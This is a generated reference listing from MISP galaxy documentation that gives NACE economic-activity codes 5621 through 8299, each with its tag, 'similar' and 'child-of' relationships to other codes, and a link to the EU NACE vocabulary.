The tag is: *misp-galaxy:NACE="5621"*

View relationships graph

5621 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12655. Table References

Links
http://data.europa.eu/ux2/nace2/5621

5622

The tag is: *misp-galaxy:NACE="5622"*

View relationships graph

5622 has relationships with:

- similar: misp-galaxy:NACE="6820" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12656. Table References

Links
http://data.europa.eu/ux2/nace2/5622

5630

The tag is: *misp-galaxy:NACE="5630"*

View relationships graph

5630 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12657. Table References

Links
http://data.europa.eu/ux2/nace2/5630

5640

The tag is: *misp-galaxy:NACE="5640"*

View relationships graph

5640 has relationships with:

- similar: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12658. Table References

Links
http://data.europa.eu/ux2/nace2/5640

5811

The tag is: *misp-galaxy:NACE="5811"*

View relationships graph

5811 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12659. Table References

Links
http://data.europa.eu/ux2/nace2/5811

5812

The tag is: *misp-galaxy:NACE="5812"*

View relationships graph

5812 has relationships with:

- similar: misp-galaxy:NACE="5813" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5813" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12660. Table References

Links
http://data.europa.eu/ux2/nace2/5812

5813

The tag is: *misp-galaxy:NACE="5813"*

View relationships graph

5813 has relationships with:

- similar: misp-galaxy:NACE="5813" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5813" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12661. Table References

Links
http://data.europa.eu/ux2/nace2/5813

5819

The tag is: *misp-galaxy:NACE="5819"*

View relationships graph

5819 has relationships with:

- similar: misp-galaxy:NACE="5812" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7420" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12662. Table References

Links
http://data.europa.eu/ux2/nace2/5819

5821

The tag is: *misp-galaxy:NACE="5821"*

View relationships graph

5821 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12663. Table References

Links
http://data.europa.eu/ux2/nace2/5821

5829

The tag is: *misp-galaxy:NACE="5829"*

View relationships graph

5829 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12664. Table References

Links
http://data.europa.eu/ux2/nace2/5829

5911

The tag is: *misp-galaxy:NACE="5911"*

View relationships graph

5911 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12665. Table References

Links
http://data.europa.eu/ux2/nace2/5911

5912

The tag is: *misp-galaxy:NACE="5912"*

View relationships graph

5912 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12666. Table References

Links
http://data.europa.eu/ux2/nace2/5912

5913

The tag is: *misp-galaxy:NACE="5913"*

View relationships graph

5913 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12667. Table References

Links
http://data.europa.eu/ux2/nace2/5913

5914

The tag is: *misp-galaxy:NACE="5914"*

View relationships graph

5914 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12668. Table References

Links
http://data.europa.eu/ux2/nace2/5914

5920

The tag is: *misp-galaxy:NACE="5920"*

View relationships graph

5920 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12669. Table References

Links
http://data.europa.eu/ux2/nace2/5920

6010

The tag is: *misp-galaxy:NACE="6010"*

View relationships graph

6010 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12670. Table References

Links
http://data.europa.eu/ux2/nace2/6010

6020

The tag is: *misp-galaxy:NACE="6020"*

View relationships graph

6020 has relationships with:

- similar: misp-galaxy:NACE="5911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5911" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12671. Table References

Links
http://data.europa.eu/ux2/nace2/6020

6031

The tag is: *misp-galaxy:NACE="6031"*

View relationships graph

6031 has relationships with:

- similar: misp-galaxy:NACE="6391" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12672. Table References

Links
http://data.europa.eu/ux2/nace2/6031

6039

The tag is: *misp-galaxy:NACE="6039"*

View relationships graph

6039 has relationships with:

- similar: misp-galaxy:NACE="5819" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5819" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5819" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12673. Table References

Links
http://data.europa.eu/ux2/nace2/6039

6110

The tag is: *misp-galaxy:NACE="6110"*

View relationships graph

6110 has relationships with:

- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="6190" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12674. Table References

Links
http://data.europa.eu/ux2/nace2/6110

6120

The tag is: *misp-galaxy:NACE="6120"*

View relationships graph

6120 has relationships with:

- similar: misp-galaxy:NACE="6190" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12675. Table References

Links
http://data.europa.eu/ux2/nace2/6120

6190

The tag is: *misp-galaxy:NACE="6190"*

View relationships graph

6190 has relationships with:

- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12676. Table References

Links
http://data.europa.eu/ux2/nace2/6190

6210

The tag is: *misp-galaxy:NACE="6210"*

View relationships graph

6210 has relationships with:

- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12677. Table References

Links
http://data.europa.eu/ux2/nace2/6210

6220

The tag is: *misp-galaxy:NACE="6220"*

View relationships graph

6220 has relationships with:

- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12678. Table References

Links
http://data.europa.eu/ux2/nace2/6220

6290

The tag is: *misp-galaxy:NACE="6290"*

View relationships graph

6290 has relationships with:

- similar: misp-galaxy:NACE="6120" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12679. Table References

Links
http://data.europa.eu/ux2/nace2/6290

6310

The tag is: *misp-galaxy:NACE="6310"*

View relationships graph

6310 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12680. Table References

Links
http://data.europa.eu/ux2/nace2/6310

6391

The tag is: *misp-galaxy:NACE="6391"*

View relationships graph

6391 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12681. Table References

Links
http://data.europa.eu/ux2/nace2/6391

6392

The tag is: *misp-galaxy:NACE="6392"*

View relationships graph

6392 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12682. Table References

Links
http://data.europa.eu/ux2/nace2/6392

6411

The tag is: *misp-galaxy:NACE="6411"*

View relationships graph

6411 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12683. Table References

Links
http://data.europa.eu/ux2/nace2/6411

6419

The tag is: *misp-galaxy:NACE="6419"*

View relationships graph

6419 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12684. Table References

Links
http://data.europa.eu/ux2/nace2/6419

6421

The tag is: *misp-galaxy:NACE="6421"*

View relationships graph

6421 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12685. Table References

Links

http://data.europa.eu/ux2/nace2/6421

6422

The tag is: *misp-galaxy:NACE="6422"*

View relationships graph

6422 has relationships with:

- similar: misp-galaxy:NACE="5210" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="6499" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12686. Table References

Links
http://data.europa.eu/ux2/nace2/6422

6431

The tag is: *misp-galaxy:NACE="6431"*

View relationships graph

6431 has relationships with:

- similar: misp-galaxy:NACE="6499" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12687. Table References

Links
http://data.europa.eu/ux2/nace2/6431

6432

The tag is: *misp-galaxy:NACE="6432"*

View relationships graph

6432 has relationships with:

- similar: misp-galaxy:NACE="6499" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12688. Table References

Links
http://data.europa.eu/ux2/nace2/6432

6491

The tag is: *misp-galaxy:NACE="6491"*

View relationships graph

6491 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12689. Table References

Links
http://data.europa.eu/ux2/nace2/6491

6492

The tag is: *misp-galaxy:NACE="6492"*

View relationships graph

6492 has relationships with:

- similar: misp-galaxy:NACE="6499" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12690. Table References

Links
http://data.europa.eu/ux2/nace2/6492

6499

The tag is: *misp-galaxy:NACE="6499"*

View relationships graph

6499 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12691. Table References

Links
http://data.europa.eu/ux2/nace2/6499

6511

The tag is: *misp-galaxy:NACE="6511"*

View relationships graph

6511 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12692. Table References

Links
http://data.europa.eu/ux2/nace2/6511

6512

The tag is: *misp-galaxy:NACE="6512"*

View relationships graph

6512 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12693. Table References

Links
http://data.europa.eu/ux2/nace2/6512

6520

The tag is: *misp-galaxy:NACE="6520"*

View relationships graph

6520 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12694. Table References

Links
http://data.europa.eu/ux2/nace2/6520

6530

The tag is: *misp-galaxy:NACE="6530"*

View relationships graph

6530 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12695. Table References

Links
http://data.europa.eu/ux2/nace2/6530

6611

The tag is: *misp-galaxy:NACE="6611"*

View relationships graph

6611 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12696. Table References

Links
http://data.europa.eu/ux2/nace2/6611

6612

The tag is: *misp-galaxy:NACE="6612"*

View relationships graph

6612 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12697. Table References

Links
http://data.europa.eu/ux2/nace2/6612

6619

The tag is: *misp-galaxy:NACE="6619"*

View relationships graph

6619 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12698. Table References

Links
http://data.europa.eu/ux2/nace2/6619

6621

The tag is: *misp-galaxy:NACE="6621"*

View relationships graph

6621 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12699. Table References

Links
http://data.europa.eu/ux2/nace2/6621

6622

The tag is: *misp-galaxy:NACE="6622"*

View relationships graph

6622 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12700. Table References

Links
http://data.europa.eu/ux2/nace2/6622

6629

The tag is: *misp-galaxy:NACE="6629"*

View relationships graph

6629 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12701. Table References

Links
http://data.europa.eu/ux2/nace2/6629

6630

The tag is: *misp-galaxy:NACE="6630"*

View relationships graph

6630 has relationships with:

- similar: misp-galaxy:NACE="6619" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12702. Table References

Links
http://data.europa.eu/ux2/nace2/6630

6811

The tag is: *misp-galaxy:NACE="6811"*

View relationships graph

6811 has relationships with:

- similar: misp-galaxy:NACE="6619" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12703. Table References

Links
http://data.europa.eu/ux2/nace2/6811

6812

The tag is: *misp-galaxy:NACE="6812"*

View relationships graph

6812 has relationships with:

- similar: misp-galaxy:NACE="6619" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12704. Table References

Links
http://data.europa.eu/ux2/nace2/6812

6820

The tag is: *misp-galaxy:NACE="6820"*

View relationships graph

6820 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12705. Table References

Links
http://data.europa.eu/ux2/nace2/6820

6831

The tag is: *misp-galaxy:NACE="6831"*

View relationships graph

6831 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12706. Table References

Links
http://data.europa.eu/ux2/nace2/6831

6832

The tag is: *misp-galaxy:NACE="6832"*

View relationships graph

6832 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12707. Table References

Links
http://data.europa.eu/ux2/nace2/6832

6910

The tag is: *misp-galaxy:NACE="6910"*

View relationships graph

6910 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12708. Table References

Links
http://data.europa.eu/ux2/nace2/6910

6920

The tag is: *misp-galaxy:NACE="6920"*

View relationships graph

6920 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12709. Table References

Links
http://data.europa.eu/ux2/nace2/6920

7010

The tag is: *misp-galaxy:NACE="7010"*

View relationships graph

7010 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12710. Table References

Links
http://data.europa.eu/ux2/nace2/7010

7020

The tag is: *misp-galaxy:NACE="7020"*

View relationships graph

7020 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12711. Table References

Links
http://data.europa.eu/ux2/nace2/7020

7111

The tag is: *misp-galaxy:NACE="7111"*

View relationships graph

7111 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12712. Table References

Links
http://data.europa.eu/ux2/nace2/7111

7112

The tag is: *misp-galaxy:NACE="7112"*

View relationships graph

7112 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12713. Table References

Links
http://data.europa.eu/ux2/nace2/7112

7120

The tag is: *misp-galaxy:NACE="7120"*

View relationships graph

7120 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12714. Table References

Links

http://data.europa.eu/ux2/nace2/7120

7210

The tag is: *misp-galaxy:NACE="7210"*

View relationships graph

7210 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12715. Table References

Links
http://data.europa.eu/ux2/nace2/7210

7220

The tag is: *misp-galaxy:NACE="7220"*

View relationships graph

7220 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12716. Table References

Links
http://data.europa.eu/ux2/nace2/7220

7311

The tag is: *misp-galaxy:NACE="7311"*

View relationships graph

7311 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12717. Table References

Links
http://data.europa.eu/ux2/nace2/7311

7312

The tag is: *misp-galaxy:NACE="7312"*

View relationships graph

7312 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12718. Table References

Links
http://data.europa.eu/ux2/nace2/7312

7320

The tag is: *misp-galaxy:NACE="7320"*

View relationships graph

7320 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12719. Table References

Links
http://data.europa.eu/ux2/nace2/7320

7330

The tag is: *misp-galaxy:NACE="7330"*

View relationships graph

7330 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12720. Table References

Links
http://data.europa.eu/ux2/nace2/7330

7411

The tag is: *misp-galaxy:NACE="7411"*

View relationships graph

7411 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12721. Table References

Links
http://data.europa.eu/ux2/nace2/7411

7412

The tag is: *misp-galaxy:NACE="7412"*

View relationships graph

7412 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12722. Table References

Links
http://data.europa.eu/ux2/nace2/7412

7413

The tag is: *misp-galaxy:NACE="7413"*

View relationships graph

7413 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12723. Table References

Links
http://data.europa.eu/ux2/nace2/7413

7414

The tag is: *misp-galaxy:NACE="7414"*

View relationships graph

7414 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12724. Table References

Links
http://data.europa.eu/ux2/nace2/7414

7420

The tag is: *misp-galaxy:NACE="7420"*

View relationships graph

7420 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12725. Table References

Links
http://data.europa.eu/ux2/nace2/7420

7430

The tag is: *misp-galaxy:NACE="7430"*

View relationships graph

7430 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12726. Table References

Links
http://data.europa.eu/ux2/nace2/7430

7491

The tag is: *misp-galaxy:NACE="7491"*

View relationships graph

7491 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12727. Table References

Links
http://data.europa.eu/ux2/nace2/7491

7499

The tag is: *misp-galaxy:NACE="7499"*

View relationships graph

7499 has relationships with:

- similar: misp-galaxy:NACE="6831" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12728. Table References

Links
http://data.europa.eu/ux2/nace2/7499

7500

The tag is: *misp-galaxy:NACE="7500"*

View relationships graph

7500 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12729. Table References

Links
http://data.europa.eu/ux2/nace2/7500

7711

The tag is: *misp-galaxy:NACE="7711"*

View relationships graph

7711 has relationships with:

- similar: misp-galaxy:NACE="7712" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7739" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12730. Table References

Links
http://data.europa.eu/ux2/nace2/7711

7712

The tag is: *misp-galaxy:NACE="7712"*

View relationships graph

7712 has relationships with:

- similar: misp-galaxy:NACE="7739" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12731. Table References

Links
http://data.europa.eu/ux2/nace2/7712

7721

The tag is: *misp-galaxy:NACE="7721"*

View relationships graph

7721 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12732. Table References

Links
http://data.europa.eu/ux2/nace2/7721

7722

The tag is: *misp-galaxy:NACE="7722"*

View relationships graph

7722 has relationships with:

- similar: misp-galaxy:NACE="7739" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12733. Table References

Links
http://data.europa.eu/ux2/nace2/7722

7731

The tag is: *misp-galaxy:NACE="7731"*

View relationships graph

7731 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12734. Table References

Links
http://data.europa.eu/ux2/nace2/7731

7732

The tag is: *misp-galaxy:NACE="7732"*

View relationships graph

7732 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12735. Table References

Links
http://data.europa.eu/ux2/nace2/7732

7733

The tag is: *misp-galaxy:NACE="7733"*

View relationships graph

7733 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12736. Table References

Links
http://data.europa.eu/ux2/nace2/7733

7734

The tag is: *misp-galaxy:NACE="7734"*

View relationships graph

7734 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12737. Table References

Links
http://data.europa.eu/ux2/nace2/7734

7735

The tag is: *misp-galaxy:NACE="7735"*

View relationships graph

7735 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12738. Table References

Links
http://data.europa.eu/ux2/nace2/7735

7739

The tag is: *misp-galaxy:NACE="7739"*

View relationships graph

7739 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12739. Table References

Links
http://data.europa.eu/ux2/nace2/7739

7740

The tag is: *misp-galaxy:NACE="7740"*

View relationships graph

7740 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12740. Table References

Links
http://data.europa.eu/ux2/nace2/7740

7751

The tag is: *misp-galaxy:NACE="7751"*

View relationships graph

7751 has relationships with:

- similar: misp-galaxy:NACE="7911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12741. Table References

Links
http://data.europa.eu/ux2/nace2/7751

7752

The tag is: *misp-galaxy:NACE="7752"*

View relationships graph

7752 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12742. Table References

Links
http://data.europa.eu/ux2/nace2/7752

7810

The tag is: *misp-galaxy:NACE="7810"*

View relationships graph

7810 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12743. Table References

Links
http://data.europa.eu/ux2/nace2/7810

7820

The tag is: *misp-galaxy:NACE="7820"*

View relationships graph

7820 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12744. Table References

Links
http://data.europa.eu/ux2/nace2/7820

7911

The tag is: *misp-galaxy:NACE="7911"*

View relationships graph

7911 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12745. Table References

Links
http://data.europa.eu/ux2/nace2/7911

7912

The tag is: *misp-galaxy:NACE="7912"*

View relationships graph

7912 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12746. Table References

Links
http://data.europa.eu/ux2/nace2/7912

7990

The tag is: *misp-galaxy:NACE="7990"*

View relationships graph

7990 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12747. Table References

Links
http://data.europa.eu/ux2/nace2/7990

8001

The tag is: *misp-galaxy:NACE="8001"*

View relationships graph

8001 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12748. Table References

Links
http://data.europa.eu/ux2/nace2/8001

8009

The tag is: *misp-galaxy:NACE="8009"*

View relationships graph

8009 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12749. Table References

Links
http://data.europa.eu/ux2/nace2/8009

8110

The tag is: *misp-galaxy:NACE="8110"*

View relationships graph

8110 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12750. Table References

Links
http://data.europa.eu/ux2/nace2/8110

8121

The tag is: *misp-galaxy:NACE="8121"*

View relationships graph

8121 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12751. Table References

Links
http://data.europa.eu/ux2/nace2/8121

8122

The tag is: *misp-galaxy:NACE="8122"*

View relationships graph

8122 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12752. Table References

Links
http://data.europa.eu/ux2/nace2/8122

8123

The tag is: *misp-galaxy:NACE="8123"*

View relationships graph

8123 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12753. Table References

Links
http://data.europa.eu/ux2/nace2/8123

8130

The tag is: *misp-galaxy:NACE="8130"*

View relationships graph

8130 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12754. Table References

Links
http://data.europa.eu/ux2/nace2/8130

8210

The tag is: *misp-galaxy:NACE="8210"*

View relationships graph

8210 has relationships with:

- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="4399" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12755. Table References

Links
http://data.europa.eu/ux2/nace2/8210

8220

The tag is: *misp-galaxy:NACE="8220"*

View relationships graph

8220 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12756. Table References

Links
http://data.europa.eu/ux2/nace2/8220

8230

The tag is: *misp-galaxy:NACE="8230"*

View relationships graph

8230 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12757. Table References

Links
http://data.europa.eu/ux2/nace2/8230

8240

The tag is: *misp-galaxy:NACE="8240"*

View relationships graph

8240 has relationships with:

- similar: misp-galaxy:NACE="7990" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12758. Table References

Links

http://data.europa.eu/ux2/nace2/8240

8291

The tag is: *misp-galaxy:NACE="8291"*

View relationships graph

8291 has relationships with:

- similar: misp-galaxy:NACE="8299" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12759. Table References

Links
http://data.europa.eu/ux2/nace2/8291

8292

The tag is: *misp-galaxy:NACE="8292"*

View relationships graph

8292 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12760. Table References

Links
http://data.europa.eu/ux2/nace2/8292

8299

The tag is: *misp-galaxy:NACE="8299"*

View relationships graph

8299 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12761. Table References

Links
http://data.europa.eu/ux2/nace2/8299

